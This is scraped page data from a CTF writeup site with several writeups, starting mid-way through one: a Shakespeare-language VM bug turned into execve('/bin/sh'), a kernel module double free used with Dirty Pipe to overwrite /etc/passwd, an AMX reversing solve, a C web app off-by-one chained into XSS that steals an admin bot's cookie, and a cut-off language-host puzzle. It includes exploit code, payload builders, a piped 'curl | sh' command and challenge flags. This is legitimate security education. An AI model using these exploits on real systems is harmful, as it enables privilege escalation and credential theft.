II:\nHamlet: Listen to your heart. Remember thyself. Listen to your heart. Remember thyself. Romeo: Listen to your heart. Are you better than a cute cute cat? If so, let us proceed to Scene VI. Are you better than the sum of a cute cat and a cat? If so, let us proceed to Scene V. Are you better than a cute cat? If so, let us proceed to Scene IV. Are you better than a cat? if so, let us proceed to Scene III. It reads like three inputs per loop:\nfirst number second number selector The subtle detail is that the scene transitions are strict greater-than checks, not equality checks. Printing the compiled operations in gdb made that clear. The four thresholds are:\n\u0026gt; 4 -\u0026gt; Scene VI \u0026gt; 3 -\u0026gt; Scene V \u0026gt; 2 -\u0026gt; Scene IV \u0026gt; 1 -\u0026gt; Scene III That means the usable selectors are:\n2 -\u0026gt; Scene III (add) 3 -\u0026gt; Scene IV (multiply) 4 -\u0026gt; Scene V (subtract) \u0026gt;= 5 -\u0026gt; Scene VI (the hidden path) This explains one early failure mode. Sending 1 as the selector does not go to Scene III. It falls through the comparisons, hits [Exeunt], and eventually breaks later execution because the expected characters are no longer on stage.\nRecovering the Real Runtime Model # The next step was to stop reading the SPL source as prose and instead inspect the compiled runtime state. Breaking at ShakespeareInterpreter::Impl::run() and printing this-\u0026gt;runtime_play.operations_ showed that the play compiles to 43 operations.\nThe pieces that mattered were:\nScene I compiles Romeo\u0026rsquo;s Reference Romeo. into a REFERENCE operation. Scene II compiles to two numeric INPUTs and two PUSHes that move those inputs onto Romeo\u0026rsquo;s stack. The third input is read into Romeo\u0026rsquo;s value and only used for the strict QUESTION/GOTO dispatch. Scene VI compiles to a single SYSCALL operation with syscall_character = \u0026quot;Hamlet\u0026quot;. That last point was the big pivot. Scene VI is not cleanup in any meaningful sense. It is the syscall gadget.\nThe Core Bug: 64-bit Push, 32-bit Pop # The most important reversing result came from RuntimeCharacter::push and RuntimeCharacter::pop.\npush(long long) splits a value into 32-bit halves:\nhi = value \u0026gt;\u0026gt; 32; lo = value \u0026amp; 0xffffffff; if (hi != 0) stack.push_back(hi); stack.push_back(lo); pop() only removes one stack entry:\nv = stack.back(); stack.pop_back(); return decode(v); And decode(unsigned int) is just:\nreturn eax; That last detail matters more than it looks. decode() zero-extends the 32-bit cell. It does not sign-extend it.\nSo the bug is:\npushes may add one or two 32-bit cells pops always consume one 32-bit cell values like 0xffffffff come back as 4294967295, not -1 This creates a stack-width mismatch that is perfect for building synthetic syscall frames.\nThe Hidden Syscall Operation # The SYSCALL handler uses Hamlet\u0026rsquo;s stack.\nIts flow is:\nPeek Hamlet\u0026rsquo;s top stack cell as the syscall number. Look up the allowed argument count with syscall_argument_count(). Pop the syscall number. Pop argc more values into an argument vector. Call invoke_syscall(syscall_number, args). There are two details that shaped the exploit.\n1. The handler recognizes a special sentinel # If one popped value is 0xffffffff, it is not used as the numeric value 4294967295. It is replaced with a C string built from the referenced character\u0026rsquo;s stack:\nif (popped == 0xffffffff) popped = reference_stack_cstring(...).c_str(); Because Scene I made Romeo reference himself, Hamlet\u0026rsquo;s reference source points at Romeo\u0026rsquo;s stack. That turns 0xffffffff into a \u0026ldquo;use Romeo\u0026rsquo;s stack as a string pointer\u0026rdquo; sentinel.\n2. Arguments are passed in pop order # The argument vector is filled in the same order values are popped from Hamlet\u0026rsquo;s stack, and invoke_syscall uses args[0], args[1], and so on directly.\nThat means the top-down Hamlet stack must look like:\n[syscall_nr, arg0, arg1, arg2, ...] not the other way around.\nHow Romeo\u0026rsquo;s Stack Becomes a String # stack_cstring() iterates the referenced stack from top to bottom until it reaches a zero byte. In other words, if Romeo\u0026rsquo;s stack is:\nbottom -\u0026gt; [0, \u0026#39;h\u0026#39;, \u0026#39;s\u0026#39;, \u0026#39;/\u0026#39;, \u0026#39;n\u0026#39;, \u0026#39;i\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;/\u0026#39;] \u0026lt;- top then reading from top downward produces:\n\u0026#34;/bin/sh\u0026#34; and stops once it reaches the bottom 0.\nSo the exploit must build Romeo\u0026rsquo;s stack as:\na zero terminator at the bottom the target string in reverse order above it That single detail is what makes the 0xffffffff sentinel usable for write and execve.\nTurning the Calculator into a Frame Builder # Once the scene selector and stack semantics were understood, each Scene II loop became a tiny compiler pass:\ninput 1 contributes one byte that survives on Romeo\u0026rsquo;s stack input 2 is a crafted 64-bit number input 3 chooses which arithmetic scene runs next From an exploitation perspective, one loop iteration can leave:\none controlled byte on Romeo\u0026rsquo;s stack one controlled 32-bit cell on Hamlet\u0026rsquo;s stack I only needed two arithmetic gadgets:\nmultiply to make zero: 1 * 0 = 0 add to make arbitrary positive values: 1 + (x - 1) = x That gives a compact payload builder:\ndef cycle(retained_byte, result): if result == 0: hb, lb, op = 1, 0, 3 # 1 * 0 = 0 elif result == 0xFFFFFFFF: hb, lb, op = 1, 0xFFFFFFFE, 2 # 1 + 4294967294 = 4294967295 else: hb, lb, op = 1, result - 1, 2 # 1 + (x-1) = x return [retained_byte, (hb \u0026lt;\u0026lt; 32) | lb, op] The last Scene II trip does not need an arithmetic scene at all. It only needs to append the final two Romeo bytes and jump into Scene VI with selector 5.\nProving the Primitive with write # Before going for a shell, the simplest proof was a write syscall. The stack needs to look like this from Hamlet\u0026rsquo;s top:\n[1, 1, 0xffffffff, count] which corresponds to:\nwrite(1, Romeo_stack_as_cstring, count) Using a short Romeo string confirmed the primitive cleanly. A local write-probe payload printed:\nABCD That was enough to confirm:\nthe selector logic the Hamlet frame layout the 0xffffffff sentinel the Romeo string order the reverse pop order of syscall arguments The Important Pivot: Zero-Extension Broke the First execve Attempt # The local write probe worked before execve did. The last real bug in the builder came from assuming the popped 32-bit values behaved like signed integers.\nThey do not.\nThe first execve(\u0026quot;/bin/sh\u0026quot;, 0, 0) attempt looked close, but strace showed:\nexecve(\u0026#34;/bin/sh\u0026#34;, NULL, 0x1) = -1 EFAULT That result was exactly what was needed: the string pointer was correct, but one of the supposed null pointers was really 1.\nThe reason was the zero-generation logic. A value that looked like it should behave like -1 or collapse into zero under a signed interpretation did not do that here, because decode() zero-extends. Once I switched zero generation to the multiply scene, the local trace became:\nexecve(\u0026#34;/bin/sh\u0026#34;, NULL, NULL) = 0 That was the point where the exploit was effectively solved. The rest was remote interaction and clean output capture.\nFinal Exploit Strategy # The final payload used:\nRomeo stack: reversed /bin/sh with a bottom zero terminator Hamlet top-down frame: [59, 0xffffffff, 0, 0] which invokes:\nexecve(\u0026#34;/bin/sh\u0026#34;, NULL, NULL) The cleaned builder in the final solver is:\ndef build_stack_string(text_bytes): rev = list(text_bytes[::-1]) prefix = [0] + rev[:-2] final_pair = rev[-2:] return prefix, final_pair def build_execve_payload(path_bytes=b\u0026#39;/bin/sh\u0026#39;): prefix, final_pair = build_stack_string(path_bytes) meaningful = [0, 0, 0xFFFFFFFF, 59] results = ([123] * (len(prefix) - len(meaningful))) + meaningful payload = [] for b, r in zip(prefix, results): payload += cycle(b, r) payload += [final_pair[0], final_pair[1], 5] return payload One remote-specific detail mattered after execve: the shell starts with an empty environment because both argv and envp are null. Builtins like echo still work, but external commands do not resolve until PATH is set.\nSo the interaction sequence was:\nsend the numeric payload wait briefly for execve to happen send echo __SHELL__ as a marker set PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin read /app/flag.txt Remote Verification # Running the final solver produced:\n[+] sending execve payload with 21 numeric inputs __SHELL__ __FLAG_BEGIN__ bctf{4_p0und_0f_fl35h}__FLAG_END__ [+] FLAG: bctf{4_p0und_0f_fl35h} The flag was stored in /app/flag.txt.\nFinal Flag # bctf{4_p0und_0f_fl35h} Takeaway # This was a reverse challenge with a very pwn-shaped finish. The SPL script was useful for recovering the control flow, but the solve really hinged on three implementation details in the interpreter:\npush(long long) stores one or two 32-bit cells pop() consumes exactly one 32-bit cell and zero-extends it Scene VI compiles to a hidden syscall handler with a special 0xffffffff string sentinel Once those pieces were in place, the calculator scenes became a reliable way to synthesize a syscall frame, and execve(\u0026quot;/bin/sh\u0026quot;, NULL, NULL) was the shortest path to the remote flag.\nThe full exploit used for the solve is the current remote_solver.py in this directory.\n","date":"27 April 2026","externalUrl":null,"permalink":"/writeups/b01lersctf/shakespeares-revenge/writeup/","section":"Writeups","summary":" Event: b01lers CTF Category: Reverse Engineering Challenge: rev/shakespeares-revenge Files: server.py, shakespeare, challenge.spl Remote: ncat --ssl shakespeares-revenge.opus4-7.b01le.rs 8443 Flag: bctf{4_p0und_0f_fl35h} This challenge looked like a Shakespeare-language calculator at first, but the real solve was a VM bug that turned the calculator into a syscall primitive. The interesting part was not the Python wrapper or the SPL script alone. It was the way the interpreter compiled that script, how it stored stack values, and how Scene VI quietly mapped to a hidden syscall operation.\n","title":"Shakespeares Revenge","type":"writeups"},{"content":"","date":"27 April 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":" Event: b01lers CTF 2026 Category: pwn Challenge: pwn/throughthewall Files: bzImage, initramfs.cpio.gz, start.sh Remote: ncat --ssl throughthewall.opus4-7.b01le.rs 8443 Flag: bctf{spray_those_dirty_pipes} This challenge was a kernel pwn packaged as a bootable QEMU image. The archive gave a kernel, an initramfs, and a launcher script. The remote service wrapped the same VM behind TLS and a proof-of-work gate, then dropped us into a BusyBox shell as the unprivileged ctf user. The only real goal was to turn that shell into root and read /flag.txt.\nThe solve split into two clean parts. The kernel side was a small, fairly readable bug in firewall.ko. The annoying part was remote delivery: the original exploit binary worked locally, but it was far too large to upload reliably through the noisy BusyBox shell. Once that transport problem was reduced, the remote flag followed immediately.\nChallenge Setup # start.sh showed the VM configuration right away:\nqemu-system-x86_64 \\ -m 256M \\ -nographic \\ -kernel ./bzImage \\ -append \u0026#34;console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr\u0026#34; \\ -no-reboot \\ -cpu qemu64,+smep,+smap \\ -smp 2 \\ -initrd ./initramfs.cpio.gz \\ -monitor /dev/null \\ -s That is a good kernel-challenge baseline: KASLR, SMEP, SMAP, PTI, no GUI, serial console only. I did not need to fight the kernel mitigations directly because the module bug led to a logic-style privilege escalation instead of a ROP chain.\nThe initramfs was the next important artifact. After unpacking it, init made the execution model obvious:\nmount proc, sysfs, and devtmpfs insmod /home/ctf/firewall.ko create /flag.txt as root-only build /etc/passwd with root and ctf chown -R 1000:1000 /home/ctf loop forever in /bin/drop_priv The passwd file was especially useful:\nroot:x:0:0:roooooooooooooooooooooooooooooooooooooooot:/root:/bin/sh ctf:x:1000:1000::/home/ctf:/bin/sh That immediately suggested a Dirty-Pipe-style endgame if I could corrupt a pipe_buffer: overwrite the cached /etc/passwd page, turn ctf into uid 0, then use su ctf -c 'cat /flag.txt'.\nReversing firewall.ko # The module was not stripped, which made the first pass unusually quick. readelf -s exposed the symbols I cared about:\nfw_add_rule fw_show_rule fw_edit_rule firewall_ioctl firewall_ioctl.cold Strings and a light disassembly pass were enough to recover the ioctl interface:\n#define FW_IOC_ADD 0x41004601UL #define FW_IOC_DEL 0x40044602UL #define FW_IOC_EDIT 0x44184603UL #define FW_IOC_SHOW 0x84184604UL The rule objects came from a kmalloc-1k sized allocation:\nstruct rule { uint32_t src_ip; // +0x00 uint32_t dst_ip; // +0x04 uint16_t port; // +0x08 uint16_t action; // +0x0a char desc[0x3f4]; // +0x0c }; The EDIT and SHOW ioctls used a request wrapper that carried an index, an offset, a length, and up to 0x400 bytes of data:\nstruct fw_req { uint32_t idx; // +0x00 uint32_t pad; // +0x04 uint64_t off; // +0x08 uint64_t len; // +0x10 uint8_t data[0x400]; // +0x18 }; The important pivot came in the delete path. firewall_ioctl.cold freed rules[idx] and printed it again afterward, but never cleared the global pointer:\nkfree(rules[idx]); printk(... rules[idx] ...); That one omission gave three primitives at once:\nSHOW on a deleted rule became a use-after-free read. EDIT on a deleted rule became a use-after-free write. deleting the same index twice became a double free. The double free was the real exploit primitive. Local testing with a small ioctl helper confirmed that the second DEL succeeded and that two later allocations could alias the same slab object.\nTurning the Double Free Into a Pipe Overlap # The trick was to aim the duplicate kmalloc-1k entry at a kernel object we could exploit from userland. pipe_buffer[16] is a very good candidate here: the pipe ring allocation also lands in kmalloc-1k, and once one pipe_buffer is backed by a page-cache page, flipping the PIPE_BUF_FLAG_CAN_MERGE bit recreates the classic Dirty Pipe write-into-read-only-file behavior.\nThe exploitation sequence was:\nadd rule 0 delete rule 0 delete rule 0 again allocate one live alias rule to consume the first free-list entry create a pipe so the pipe ring consumes the second free-list entry splice one byte from /etc/passwd into the pipe use SHOW on the aliased rule to read the overlapped struct pipe_buffer use EDIT on the aliased rule to set PIPE_BUF_FLAG_CAN_MERGE write a replacement ctf passwd line through the pipe run su ctf -c 'cat /flag.txt' The core exploit logic reduced to this:\nfw_add(fd, \u0026#34;1.1.1.1 2.2.2.2 80 1 ALLOW\u0026#34;); fw_del(fd, 0); fw_del(fd, 0); alias_idx = fw_add(fd, \u0026#34;3.3.3.3 4.4.4.4 81 1 ALLOW\u0026#34;); pipe(pipefd); passwd_fd = open(\u0026#34;/etc/passwd\u0026#34;, O_RDONLY); target_off = find_ctf_line(passwd_fd); splice_off = target_off - 1; splice(passwd_fd, \u0026amp;splice_off, pipefd[1], NULL, 1, 0); fw_show(fd, alias_idx, 0, sizeof(pb), \u0026amp;pb); pb.flags |= 0x10; /* PIPE_BUF_FLAG_CAN_MERGE */ fw_edit(fd, alias_idx, 24, \u0026amp;pb.flags, sizeof(pb.flags)); write(pipefd[1], \u0026#34;ctf::0:0:AAAAAAAAAAA:/root:/bin/sh\u0026#34;, 35); execve(\u0026#34;/bin/su\u0026#34;, argv, envp); The replacement line was chosen so its length matched the original ctf line. That matters because Dirty Pipe is overwriting bytes in place, not growing the file:\noriginal: ctf:x:1000:1000::/home/ctf:/bin/sh replacement: ctf::0:0:AAAAAAAAAAA:/root:/bin/sh Once this worked locally, the guest printed the placeholder flag from the unpacked initramfs:\n[*] trigger double-free [+] passwd overwritten, reading flag bctf{fake_flag} At that point the kernel side was done.\nRemote Delivery Was the Real Problem # The first exploit binary was a normal statically linked glibc executable. It worked locally, but it was much too large for a reliable shell upload over the remote BusyBox session:\nraw ELF: 743552 bytes gzipped: 328987 bytes base64: 438652 bytes The remote shell had two quirks that made this painful:\nthe first post-boot command often lost leading characters the prompt emitted \\x1b[6n cursor-position queries and generally behaved like a noisy serial console Streaming hundreds of printf \u0026gt;\u0026gt; file lines into that environment was fragile. The exploit logic was already correct, so the shortest path was not to redesign the kernel attack. The shortest path was to make the payload tiny.\nRewriting the Payload as a Tiny Static ELF # I rewrote the exploit as exploit_tiny.c, a syscall-only x86-64 binary with no libc at all. It uses a tiny _start, a handful of raw syscall wrappers, and small local helpers for memcpy, memset, and string scanning. That dropped the artifact size dramatically:\nraw ELF: 12808 bytes gzipped: 1532 bytes base64 upload: 2052 bytes That change removed the transport pressure immediately. Instead of appending hundreds of chunks, the remote uploader could send a short heredoc, verify the file, and run it.\nThe final solve_remote.py transport logic did four things that mattered:\nkeep one sacrificial first command: DUMMYMARKER upload the gzip-wrapped payload with a heredoc synchronize every stage with explicit markers like __UPLOAD__, __DEC__, __GZ__, and __READY__ verify both the gzip and the final ELF before execution The verification stage looked like this on the remote host:\n2052 /tmp/exploit.gz.b64 __DEC__:0 1532 /tmp/exploit.gz f87441e30a316f60462209dcd54a3a57598c4042a9510cc87a299109a0cfb30d /tmp/exploit.gz __GZ__:0 12808 /tmp/exploit 7f 45 4c 46 __READY__:0 Those checks were important because they removed all ambiguity. If the exploit failed after that point, it would have been a kernel issue. In practice, once the transport was trustworthy, the exploit landed immediately.\nFinal Remote Run # This was the successful remote transcript, trimmed to the lines that actually mattered:\nproof of work: curl -sSfL https://pwn.red/pow | sh -s s.AAFfkA==.vjG7q57lHYKCpyQ978gr/g== solution: \u0026lt;solved locally\u0026gt; BusyBox v1.35.0 (Debian 1:1.35.0-4+b7) built-in shell (ash) sh: can\u0026#39;t access tty; job control turned off ~ $ DUMMYMARKER sh: DUMMYMARKER: not found ~ $ stty -echo; echo __STTY__:$? __STTY__:0 ... ~ $ [*] trigger double-free [+] passwd overwritten, reading flag bctf{spray_those_dirty_pipes} The flag was:\nbctf{spray_those_dirty_pipes} Takeaway # The kernel bug itself was small and honest: free a pointer, forget to null it, and a user-facing ioctl table turns that into UAF read, UAF write, and double free. The nicest part of the challenge was the exploitation path after that. Instead of forcing a full kernel ROP chain under SMEP and SMAP, it rewarded noticing that kmalloc-1k plus pipe_buffer plus /etc/passwd gave a much shorter route.\nThe part that took real cleanup was the remote wrapper. Once the exploit binary was reduced from a large glibc static to a syscall-only 12 KB payload, the remote side stopped being a guessing game and became a normal integrity-checked upload followed by a clean root escalation.\n","date":"27 April 2026","externalUrl":null,"permalink":"/writeups/b01lersctf/throughthewall/writeup/","section":"Writeups","summary":" Event: b01lers CTF 2026 Category: pwn Challenge: pwn/throughthewall Files: bzImage, initramfs.cpio.gz, start.sh Remote: ncat --ssl throughthewall.opus4-7.b01le.rs 8443 Flag: bctf{spray_those_dirty_pipes} This challenge was a kernel pwn packaged as a bootable QEMU image. The archive gave a kernel, an initramfs, and a launcher script. The remote service wrapped the same VM behind TLS and a proof-of-work gate, then dropped us into a BusyBox shell as the unprivileged ctf user. The only real goal was to turn that shell into root and read /flag.txt.\n","title":"Throughthewall","type":"writeups"},{"content":"The binary is a static stripped ELF that refuses to run unless the CPU exposes Sapphire Rapids AMX features. Local execution in the sandbox was blocked by both the CPUID gate and the lack of AMX support, so the solve path had to come from static reconstruction of the AMX dataflow.\nTriage # The useful anchors were:\nflag.txt incorrect flag{fake_flag} a tight cluster of ldtilecfg, tileloadd, tdpbssd, tilestored, and tilerelease The main function starts by:\nChecking CPUID bits for the AMX feature set. Loading a tile configuration from .rodata. Iterating three times, once per prompt. Seeding a 3-matrix state block from .rodata. Reading one line of input for that stage. Processing the input two characters at a time. Printing incorrect and exiting on any failed invariant. Opening flag.txt and printing it after all three stages succeed. The AMX Configuration # The tile config at 0x410100 defines:\ntmm0..tmm2: 16 x 16 byte tiles tmm3..tmm5: 4 x 64 byte tiles tmm6..tmm7: 16 x 64 byte destination tiles, i.e. 16 x 16 int32 results That matches the standard AMX int8 dot-product shape:\nleft operand: ordinary 16 x 16 right operand: packed 4 x 64 output: 16 x 16 int32 The program then immediately exposes its structure in .rodata:\n0x409000 + 0x100 * a: matrix family A[a] 0x40a000 + 0x100 * a: matrix family B[a] 0x40b000 + 0x2400 * (a \u0026gt;\u0026gt; 3) + 0x900 * b: nine C[(a\u0026gt;\u0026gt;3)][b][k][j] matrices 0x40f800 + 0x300 * stage: per-stage seed state Parsing # Each token is exactly two characters:\nfirst char: hex nibble a in 0..f second char: base-4 digit b in 0..3 So the search alphabet is 64 symbols total.\nThe Key Simplification # The first constant family is trivial:\nA[a] is the diagonal projector E_a The second one is just:\nB[a] = I - E_a That means a token only rewrites one column of the current state.\nLet S0, S1, S2 be the current three 16 x 16 byte matrices. For token (a, b) with h = a \u0026gt;\u0026gt; 3, the program computes:\nS\u0026#39;_k = C[h][b][k][0] * (S0 * E_a) + C[h][b][k][1] * (S1 * E_a) + C[h][b][k][2] * (S2 * E_a) + S_k * (I - E_a) Important detail: tmm7 is zeroed once per output matrix, not once for the whole token. Missing that makes stages 0 and 2 look impossible.\nAfter each token the binary:\nCopies the new 3 x 0x100 state back into the live buffer. Enforces the row constraints on the first 0x240 bytes. Continues with the next token. At end of line it checks that byte 0x412380 equals 1, i.e. offset 0x110 inside the live state.\nSearch Strategy # Because the seed states and the C tables are sparse, the reachable state graph is much smaller than the raw 256^768 state space suggests. Once the per-token update rule was reconstructed, a plain BFS over valid states was enough to recover shortest accepting lines for each of the three prompts.\nI kept two helpers in the workspace while solving:\nsolver.cpp: a compiled state-space searcher solve.py: a convenience script that prints the recovered lines and can submit them remotely Recovered Inputs # Stage 0:\n01e2e210f3f3f3010101 Stage 1:\n01f320e201 Stage 2:\n0120a2a2c231f2f2f2109393019311e320b211e3e300e31010923092921111c311d230e23030d310f3209201e2e210b3b3b30101 These were verified against the reconstructed model. Each line preserves the row-sparsity invariants after every token, and each leaves the required byte at offset 0x110 equal to 1.\nGetting the Flag # With network access enabled, submitting the three recovered lines to the remote service returned:\nbctf{in_the_matrix_straight_up_multiplying_it_ec3428a06} To replay the solve, run:\npython solve.py --remote or paste the three lines manually into:\nncat --ssl tiles--ai.opus4-7.b01le.rs 8443 The local binary still falls back to flag{fake_flag} if flag.txt is missing, but the remote service returns the real flag shown above.\n","date":"27 April 2026","externalUrl":null,"permalink":"/writeups/b01lersctf/tiles+ai/writeup/","section":"Writeups","summary":"The binary is a static stripped ELF that refuses to run unless the CPU exposes Sapphire Rapids AMX features. Local execution in the sandbox was blocked by both the CPUID gate and the lack of AMX support, so the solve path had to come from static reconstruction of the AMX dataflow.\n","title":"Tiles+ai","type":"writeups"},{"content":"Collected challenge writeups, reverse engineering notes, and short postmortems.\n","date":"27 April 2026","externalUrl":null,"permalink":"/writeups/","section":"Writeups","summary":"Collected challenge writeups, reverse engineering notes, and short postmortems.\n","title":"Writeups","type":"writeups"},{"content":" CODEGATE 2026 Quals - Cobweb # Category: Web Challenge: Cobweb Description: I wanted to create a web application.. but I don't know how to use web frameworks. So I decided to use pure C to make a web application! Solver: exploit_admin_post_xss.py Transport helper: solve.py TL;DL # The challenge looks like a stored-XSS task at first, but that is only half right. The actual entry point is a one-byte stack overwrite in edit_post. If I make the escaped content length land exactly on 0x6000, the trailing NUL from html_escape() zeros the low byte of the saved user_id local. That pushes the request into the admin SQL branch, rewrites my post as user_id = 0, and then the admin-only render path decodes the escaped content back into raw HTML. Only after that ownership flip does the stored script become real JavaScript in the bot\u0026rsquo;s browser.\nOverview # The challenge description ended up being more honest than it first sounded. This really is a tiny web application written directly in C, and it behaves like one. Every control-port connection spawns a fresh HTTP server on a random port, prints that port, and tears the whole database down when the run ends.\nThat wrapper behavior mattered immediately for two reasons:\nevery connection starts from a clean database I cannot hard-code the real HTTP port because it changes every run The second infrastructure detail mattered even more once I started sending real requests: the server only performs one recv() per request. That means normal HTTP clients can make the service look buggy in the wrong way. A large form body can be split across packets, and the server will happily parse the first chunk as if it were the whole request.\nThat is why I kept raw-socket helpers around for the full solve. With this service, transport is part of the bug surface. Treating it like a normal web server would have hidden the real application behavior.\nAnalysis # The first thing I checked was the obvious web idea: stored XSS. There is a report feature, there is an admin bot, and the bot carries the flag in a cookie. That is exactly the kind of surface where I want to test a simple \u0026lt;script\u0026gt; payload first before inventing something more exotic.\nThat idea failed for a real reason, not because I tested it badly. Both create and edit escape post content before it reaches storage. Once I verified that in the code and in live behavior, plain stored XSS stopped being the main path.\nThere was another bug that looked promising for a while: the request parser uses plain strtok() in threaded code, so there is a genuine parser race. I reproduced that locally and kept the notes because it is a real bug, but it never became the route to the flag. The reason I moved away from it is practical. /report is POST-only, and path-steering alone was not giving me a clean way to turn the bot\u0026rsquo;s visit into the action I needed. It was interesting evidence, but it was not carrying the solve forward.\nThe real pivot came from looking at the escaping path more carefully. If stored XSS was dead at insert time, the next question was whether anything later turned escaped content back into HTML. That is what made me compare the normal post-render path against the admin-owned post-render path instead of staring at the parser race forever.\nTwo details lined up there:\nadmin-owned posts are rendered differently html_escape() has an off-by-one at the output boundary The bug in html_escape() is small but precise. When it handles \u0026quot; it writes \u0026amp;quot;, and if the escaped output lands exactly on the destination limit, it still writes the terminating NUL one byte past the end. In edit_post, that one byte lands on the low byte of the saved user_id local. So a normal user id like:\n0x00000001 becomes:\n0x00000000 At first that looks like a cute one-byte corruption with unclear value. The reason I kept pulling on it is that user_id is not just checked for authorization. It is used to choose which SQL update query runs. Once that low byte becomes zero, the handler stops acting like a normal user edit and takes the admin branch, which also forces user_id = 0 on the stored post.\nThat was the moment the challenge finally clicked for me. I was not trying to turn a one-byte overwrite into control flow hijack. I was using a one-byte overwrite to cross a trust boundary inside the application\u0026rsquo;s own logic.\nThe next question was what I gained by making the post admin-owned. That answer was even better than expected. Normal posts store escaped content and display it safely. Admin-owned posts go through an entity-decoding path before being inserted into the page. So the exact payload that was harmless as stored text for a normal post becomes live HTML once I force the post into the admin render path.\nThat is why the final technique is a two-stage chain instead of \u0026ldquo;just XSS\u0026rdquo;:\nuse the off-by-one to force an ownership change let the admin renderer resurrect the escaped script The last difficulty was delivery. The off-by-one only happens if the escaped content length is exactly 0x6000, and the server\u0026rsquo;s one-recv() request handling makes large form submissions unreliable if they are encoded naively. The fix was pragmatic:\ncompute the exact escaped length offline keep form encoding minimal leave quotes raw so the body does not triple in size send synchronized edit bursts over separate sockets until one full request lands cleanly It is not pretty, but it is the first version that behaved the same way remotely and locally.\nExploit # The final exploit flow was:\nConnect to the control port and recover the real ephemeral HTTP port. Register and log in as a normal user. Create a seed post so I have a stable post id. Build a second-stage edit body whose escaped length is exactly 0x6000. Send that edit request in synchronized bursts until the post flips into the admin-owned render path. Re-fetch the post and confirm that raw \u0026lt;script\u0026gt; now appears in the HTML instead of literal escaped text. Report the post. Let the bot visit the now-admin-owned post, execute the revived script, and submit document.cookie back into the same post. Fetch the post again and extract the flag=... cookie value from the stored content. I wrote the exploit this way because each checkpoint proves something different. Seeing raw \u0026lt;script\u0026gt; in the post page proves the off-by-one and ownership flip worked. Seeing the flag cookie later proves the bot really executed the revived script. Splitting the chain that way made debugging much easier than treating it as one black-box web exploit.\nVerification # The older local notes for cobweb turned out to be stale once I tested the updated public hosts. Running the current exploit against the new control endpoints and got:\ncodegate2026{edaa67b3a065abe46f5d64ea9338d0b0622000c646b47abf49c7e3d3d09419a53d5ae63dcfb496935cfc9099e2b3d1d1bc3c787e933e5e2175cca4a50cfe864f0e23bf14d3ec3409} 43.203.149.201:9883 still timed out from this environment, so the infrastructure is not perfectly uniform, but the exploit path itself is now fully confirmed.\nFor the successful runs, the decisive progression was:\n[+] created post 1 [+] admin-owned raw script confirmed in post HTML [+] report submitted codegate2026{...} The service is clearly instance-specific, so I am recording one representative fresh rerun flag below.\nFinal flag:\ncodegate2026{edaa67b3a065abe46f5d64ea9338d0b0622000c646b47abf49c7e3d3d09419a53d5ae63dcfb496935cfc9099e2b3d1d1bc3c787e933e5e2175cca4a50cfe864f0e23bf14d3ec3409} ","date":"29 March 2026","externalUrl":null,"permalink":"/writeups/codegate2026/cobweb/writeup/","section":"Writeups","summary":"CODEGATE 2026 Quals - Cobweb # Category: Web Challenge: Cobweb Description: I wanted to create a web application.. but I don't know how to use web frameworks. So I decided to use pure C to make a web application! Solver: exploit_admin_post_xss.py Transport helper: solve.py TL;DL # The challenge looks like a stored-XSS task at first, but that is only half right. The actual entry point is a one-byte stack overwrite in edit_post. If I make the escaped content length land exactly on 0x6000, the trailing NUL from html_escape() zeros the low byte of the saved user_id local. That pushes the request into the admin SQL branch, rewrites my post as user_id = 0, and then the admin-only render path decodes the escaped content back into raw HTML. Only after that ownership flip does the stored script become real JavaScript in the bot’s browser.\n","title":"Cobweb","type":"writeups"},{"content":"","date":"29 March 2026","externalUrl":null,"permalink":"/categories/codegate2026/","section":"Categories","summary":"","title":"Codegate2026","type":"categories"},{"content":" CODEGATE 2026 Quals - CogwartsLang # Category: Reverse Engineering Challenge: CogwartsLang Solver: solve.grim TL;DL # The language syntax is mostly decoration. The real challenge is the oracle host module loaded by harness. Once I understood that the important state lived in the host and not in the source language, the solve became a timing problem: reconstruct the oracle\u0026rsquo;s arithmetic, identify the exact checkpoint and ticket values, and call the host functions in the right order without accidentally burning extra ticks.\nOverview # The execution model makes the attack surface very clear:\n/home/cogwarts/bin/harness \u0026#34;$TMP\u0026#34; \\ --host /home/cogwarts/bin/liboracle_host.so \\ --host /home/cogwarts/bin/libstdlib_host.so That immediately told me what not to spend too much time on. The only thing I control is the submitted source file. The harness and both host libraries are fixed. So if I want the flag, the important question is not \u0026ldquo;what cute thing can I do with the language syntax?\u0026rdquo; but \u0026ldquo;what does the oracle host expect, and how can I drive it precisely?\u0026rdquo;\nThat was an important correction early on because the challenge presentation makes it very tempting to overfocus on the language itself. In practice, the language is just the surface I use to call the host.\nAnalysis # The binaries were not stripped, which made the first pass much friendlier than I expected. harness accepts a one-argument solve[x], and the language exposes host_import and host_call. Once I noticed those primitives, I stopped treating the sugared oracle[...] syntax as something sacred. I wanted direct host interaction, because that was where the real state lived.\nThe first useful move was to wrap the oracle host locally and log what it was initialized with. That immediately exposed two constants:\nseed = 0x5f64d765889c6342 input_hash = 0xeacadd96dae055b8 The input_hash result was especially informative because it did not change when I changed the submitted source. That ruled out a whole family of wrong ideas. The challenge was not hashing my specific grimoire and expecting me to manipulate that derived value. The important state was already fixed in the host. My script only needed to drive the host into the success condition.\nOnce I shifted to that mindset, the meaningful host commands were easy to isolate: seed, tick, checkpoint, ticket, and witness. Reconstructing the host state structure showed that success is essentially a state-machine condition: set the witness bit and all three checkpoint bits while staying inside the ticket validity window.\nThe next part that cost time was arithmetic fidelity. The oracle logic uses Murmur-style mixing constants, which at first glance look like ordinary 64-bit math. My first reconstruction treated it that way and produced values that were plausible but consistently wrong. The missing detail was truncation. Several parts of the implementation fall through 32-bit registers before widening again. Once I mirrored those truncations correctly, the checkpoint and ticket values stopped drifting and started matching the host\u0026rsquo;s actual expectations.\nThat is also why I chose to model the host logic directly instead of trying to brute-force the command values. The values are not huge by cryptographic standards, but the timing interactions make blind search the wrong tool. Reverse the math once, then use the exact answers.\nThe last real obstacle was timing. Using the sugared oracle[...] form caused extra host imports and consumed ticks in places I did not want. That made otherwise correct checkpoint and witness values fail because I was arriving at them in the wrong host state. This was the final pivot of the solve: import the oracle once with host_import[\u0026quot;oracle\u0026quot;], keep the handle, and use raw host_call() so every tick spent is one I intended to spend.\nThat explains why the final grimoire looks more awkward than elegant. The repeated seed calls are not decorative. They are there because I needed the oracle state machine at a very specific tick count before I invoked the meaningful commands.\nExploit # The final solve script is short, but every line is there for a 